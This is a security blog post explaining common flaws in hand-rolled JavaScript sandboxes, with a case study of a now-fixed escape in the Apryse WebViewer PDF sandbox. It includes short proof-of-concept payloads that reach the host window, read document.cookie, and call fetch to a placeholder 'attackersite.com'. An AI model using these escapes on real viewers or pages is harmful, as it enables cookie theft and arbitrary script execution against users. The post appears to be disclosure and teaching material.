Because the internet runs on JavaScript, and JavaScript is famously known as a language held together with paper clips and rubber bands, the topic of proper sandboxing and safe JS execution became a pretty popular discussion in the security community.

I wanted to explore some small and common gotchas that I’ve seen in recent times regarding JS sandboxes, including and based off of a real-world example I saw at work.

Making your sandbox

The following headlines are methods I’ve seen as popular sandbox implementations. These will all come into play later.

Realm Isolation

Ideally, JavaScript that runs in the browser should be ‘defanged’ before actual execution, in order to prevent common JS client-side attacks like XSS or CSRF or whatever. A sandbox in the literal sense is used as a padded room for your JS to run around in without having to worry about it touching sensitive stuff. In the real world I’ve seen most people do this by injecting a hidden iframe where the JS runs in its context. This seperates the main realm (your browser) from the executing JS realm, I.E, your padded room.

Wrapping things in a with(namespace) Proxy

Isolating the realms is a good start, and an even better one is to wrap your JavaScript in a hardened shell to stop it from doing naughty stuff. In many sandbox implementations, I’ve seen developers do this using with(namespace) Proxies. From MDN:

The with statement extends the scope chain for a statement.

with (expression)
    {
        ...
    }

Anything in those curly brackets are executed with the additional expression context, whatever that would be. This normally applies to JS identifiers, where bare or unqualified identifiers will be searched for in the expression object’s scope. Again from the MDN docs:

Every unqualified name would first be searched within the object (through an in check) before searching in the upper scope chain.

Apply this to JS sandboxes, and you typically see developers use the with keyword and a Proxy as a jail so any free identifier in potentially malicious code hits your Proxy/scoped object, and not the global namespace. You can use this to great effect; only having an allowlist of valid names and throwing out any attempts to access things that the code wasn’t supposed to.

If you implement a robust enough Proxy as your namespace, this will typically stop any attempts to access global code by replacing the scope of where those identifiers are being searched for.

AST Transform of the JS Code

Another way to harden and defang JavaScript code of malicious stuff is by parsing the script and analyzing its AST, then modifying any problematic estree nodes. With this, you can rewrite API identifiers to map to internal versions or preserve top-level declarations to not totally fuck up the script’s context, etc etc.

Specifically blocking constructor escapes

CTFers will know that there is no better duo than constructor and constructor. A with+Proxy jail can be trivially bypassed by accessing an instance of the Function constructor and giving it a string to compile, which will compile it in the global scope, not the namespace the with statement wants you to use.

{}.constructor; //Object constructor
{}.constructor.constructor; //Function constructor

Say before you even run your JS, you inject a prologue that transforms your code to neutralize the constructor.constructor exploit path. Instead of Function or Function.prototype.constructor (or literally anything’s prototype.constructor as all roads lead back to Function), you give the code a safe wrapper that runs a dynamically-created function’s body back through the sandbox’s transform (recursively re-applying the sandbox), basically removing any runtime attempts to access the Function constructor in the global scope. This allows you to basically run any code that attempts to constructor constructor themselves to a raw Function evocation by literally pulling a lever and re-routing their tracks to the safe playland version instead.

Breaking These Mitigation Attempts

Considering all of these provided mitigations and neutralizations, you get the following total sum defense:

  • Block pre-existing Function constructors with a safe version
  • Route every bare identifier through a namespace that has a strict allowlist of keywords
  • AST transform the code to only reference safe, sandboxed namespace names and reject any arbitrary AST structure
  • Use a prologue to intercept code that would attempt to dynamically create a new Function constructor by gently “ok grandma back to the shelter”-ing it to the safe version you defined earlier

This is a pretty good defense-in-depth strategy to help enforce safe JS execution on the browser. Anyway, lets look at the ways that it can be broken through developer mistakes and assumptions.

A seperated realm and with+Proxy is only as effective if it’s actually isolated

This should go without saying, but if you have a host environment and a sandbox environment, anything in the host environment that leaks in the sandbox environment is a ladder out of the hole.

Consider the following code:

var safeWindow = { ... };
const globalThis = this;
const allowedKeys   = Object.keys(globalThis);
const safeWindowKeys = Object.keys(safeWindow);
var namespace = new Proxy(Object.create(null), { /* ... */ });
with (namespace) { /* transformed script body */ };

This implementation of a seperate realm has a flaw. While it creates a Proxy as a new scope for executing code, it does so with a variable, safeWindow. If safeWindow holds references to global API objects in the host realm, then those get passed along happily within the with+Proxy trap. This would mean that a host object is theoretically reachable from the sandbox’s. More on this later.

Make sure to block all ways to evoke scripts, like New expressions or Tagged Templates

Like I said earlier, JavaScript code is represented as an AST, which helps to identify and map out the logical flow of expressions. The AST structure is defined via the estree specification.

Consider the following code again:

var namespace = new Proxy(Object.create(null), { 
    apply: function (t, th, a) {
      return t.apply({}, a);
    }
});

This proxy applies to CallExpressions via the apply directive. This is supposed to be a trap in the Proxy for function calls – CallExpressions, which, according to the estree spec, are pieces of JS code that resolve to AST nodes representing function calls. Take a look at the estree for a high-level description of what CallExpressions are. And then, scroll down just a bit and observe that NewExpressions look exactly the same… but are considered different AST nodes.

Var wie = new vie(); 

The new keyword is used to instantiate any user-defined object. Take a look at this gist to see how the AST sees both a normal function call that maps to a CallExpression, and an instantiating call that maps to a NewExpression: https://astexplorer.net/#/gist/da607d5060e364a8621f784f91f5eeed/d72037b0e10fbfbfaeb193b21ea784ee631baef8

This rises in interesting phenomena:

proxy shit

Technically, the Proxy API accounts for this by also providing the construct directive that handles NewExpressions. But I have noticed the antipattern of only specifying apply in Proxies enough to see that this is not common knowledge - or at least, not in my circles just yet.

NOTE: NewExpressions aren’t the only AST nodes that are functionally similar to CallExpressions. ImportExpressions, TaggedTemplates, etc etc…

If you’re blocking Function constructor escapes, block AsyncFunction and GeneratorFunction constructors too

It’s important to note that both Async and Generator functions use a different function constructor than the normal Function. So, if you spend all this time blocking and re-routing calls to the regular Function constructor, the following 2 functions won’t use it and can end up executing code anyway:

/* Generator Function */
function* vie() {
  yield "Vie";
  yield "Wie";
  return "VieWie";
}

/* Async Function */
Async function async_vie() {
    return
}

Under Function constructor redefinition, an Async or Generator function will never hit the redefined Function constructor, cause they have their own.

If you’re blocking Function constructor escapes, block the parameter list too

A function’s body isn’t the only place where attacker code runs. The parameter list is a source for RCE as well. Parameters can have default values that are executed at runtime as expressions, in a scope outside of the body.

Real-World Example: Apryse Webviewer

Apryse is a SaaS company that markets a range of document-reading services. The one I’m focusing on today is Webviewer. I found this vuln early 2026. The webviewer is Apryse’s embedded PDF/document viewer and editor in the browser. It achieves this functionality with an SDK and minified JavaScript code on the page you’re embedding the viewer in, and because PDFs feature JavaScript execution capabilities, the webviewer creates a sandbox to run any embedded code in. The sandbox is implemented in the methods described above: it creates a 0x0 iframe to act as a realm specifically used for JS execution, wraps the code in a with+Proxy namespace, and runs a prologue to re-route dynamically created Functions to use a safe version of the Function constructor.

Host realm objects leak into sandbox realm objects

A with+Proxy jail is implemented in a minified JS file that embeds the webviewer:

var safeWindow = { <API namespaces>, event, Array, Object, Number, , Math, RegExp,
                   parseInt, , "undefined":undefined, NaN, Infinity };
const globalThis = this;
const allowedKeys   = Object.keys(globalThis);
const safeWindowKeys = Object.keys(safeWindow);
var namespace = new Proxy(Object.create(null), { /* ... */ });
with (namespace) { <transformed script body> };

The first issue is that realm isolation is defeated by the introduction of host realm API objects injected in the sandbox. API namespaces are made in the host realm, come from the host realm, and have Function constructors in the host realm. Their Function constructors aren’t cleaned out or re-routed. The webviewer also redefines specific API methods in the host realm (like app.alert for example), presumably because those methods won’t work in a 0-width iframe. This, however, means that there existed a function hook callable from the sandbox, into the host.

app.alert.constructor.constructor; //this is the OG, host realm's Function constructor

This will serve as the basis for other exploits later.

Another important note about this with namespace: it doesn’t run in strict mode, it can’t; a with+Proxy statement cannot run in strict mode, it’ll raise a SyntaxError if it is. So any code parsed in the sandbox, is done so sloppily.

The AST rewrite will reject Generator and Async functions, but Async functions are re-introduced anyway

The webviewer JS file applies an AST rewrite that, among a few other things, kills Generator functions:

enter: function(Ea, Ma) {
    Ea.generator && (sb = !1,
    this.Jfb());
}

Ea.generator is the boolean that the ES parser acorn sets on Generator functions (function*). If true (if a Generator function is being made, basically), then sb is set to falsy value. This is consumed during the compilation of the script, so Generator functions are quietly rejected.

Usage of async/await keywords aren’t rejected, but do fail to parse, because the EcmaVersion passed to the code parser is explicitly set to a version before async/await were introduced. Therefore, Generator and Async functions do not compile, parse or execute at all.

One caveat, though. The JS file applies to :

Ga && (Ga = ha.a.parse("async function blockingWrapper() {} blockingWrapper.call(this);", { xa: 8 }),
        Ga.body[0].body.body = bb.body,  
        bb.body = Ga.body)

The code injects an async function for you, wrapped around your declaration. If the script contains a call whose callee name is in lb = ["popUpMenu","response"], your code gets injected into this (minified) wrapper. The popUpMenu and response are API methods that expect a user interaction to close the event loop; naturally, they have to be asynchronous (since they’re waiting for a user’s response). So, yes, Generator and Async functions are technically blocked/gated/rejected/fail to parse through AST rewrites, but certain API methods require asynchronous functionality, so an Async function is reintroduced and accessible from the sandbox for you. This produces the following PoC.

var z = { popUpMenu:function (){} }; z.popUpMenu(); var AF = arguments.callee.constructor; console.println(AF); AF("this.parent.alert(this.parent.document.cookie)")();

blockingWrapper is a declared (non-arrow) Async function, so it has its own arguments/arguments.callee. Because the sandbox executing the code doesn’t run with “strict”, accessing aguments.callee is allowed. This injects custom code into the Async function wrapper and executes unsandboxed code through it.

The prologue does not intercept NewExpressions

The function prologue is defined here (minified):

(() => {

  const ph = {
    apply: function (t, th, a) {
      return t.apply({}, a);
    }
  };

  const re = (args) => {
    return args.map(arg => arg.toString().split('=')[0]);
  };

  let cc = window[Symbol.for("cc")];

  const uf = function (orig) {
    return function (...args) {
      const params = re(args.slice(0, args.length - 1));
      const code = '<DECLARATIONS>' + cc(args.slice(-1)[0]);  
      return new Proxy(orig(...params, code), ph);
    };
  };

  let t = Object.getPrototypeOf(function () {}).constructor;
  Object.getPrototypeOf(function () {}).constructor = uf(t);
  let r = Function;
  Function = uf(r);

})();

The last few lines patch out the OG Function constructor with a safe one (uf), and this would achieve the “dynamic function constructor replacer” goal. The uf function is a replacer and wrapper that invokes a Proxy with ph as its parameters. ph only has 1 directive: apply.

Now, this should stop all attempts to access Function expressions dead in their tracks, but because only the apply directive was used, not construct, the new expression bypass applies here.

var globalWindow = (new app.alert.constructor.constructor("return window"))(); globalWindow.fetch("attackersite.com")

My colleague Rahim also found that TaggedTemplate Expressions can also be used to bypass the sandbox, through a similar payload.

The Function prologue does not account for Function parameters

The sandbox attempts to account for potential code-execution through a function’s parameters: for each param argument it does arg.toString().split('=')[0], chopping everything from the first = onward so the default expression is discarded.

But because it uses string concatenation and only anticipates = being a parameter default value delimiter, you can use other ways to pass in parameters that execute at runtime. For example, using computed destructuring keys:

function Vie(){return window);
Function("{ [ Vie() ]: x }", "return 1")( {} );

The function Vie() does not contain a =, and instead the default parameter values are invoked by computing destructured keys.

In JavaScript, The Function constructor can be invoked like Function(arg1, arg2, ..., functionBody). AKA, any and all parameters to the constructor are considered arguments passed to the function it’s building. The very last parameter in the constructor call is treated as the body of the built function.

So the first parameter is a destructuring pattern with a property key. The argument object will be destructured, and the property whose key is the value of Vie() is read into the x var. This is an expression evaluated at call time, when the parameters are being bound (note: the “return 1” body is irrelevant, but it is required for the Function constructor to run correctly).

Conclusion

I reported this to Apryse through my work but did not recieve recognition, hence this blogpost. Thankfully, the July 8 release of webviewer reimplements the JS sandbox entirely, so these issues are gone, currently.

This was a good exercise to review how JS sandboxes are handrolled and common antipatterns that can be useful for bypassing sandboxes. Naturally, there are more complex ways to go about sandbox bypasses (exception creation and escaping, for example) that I haven’t gotten into here, but maybe eventually I will.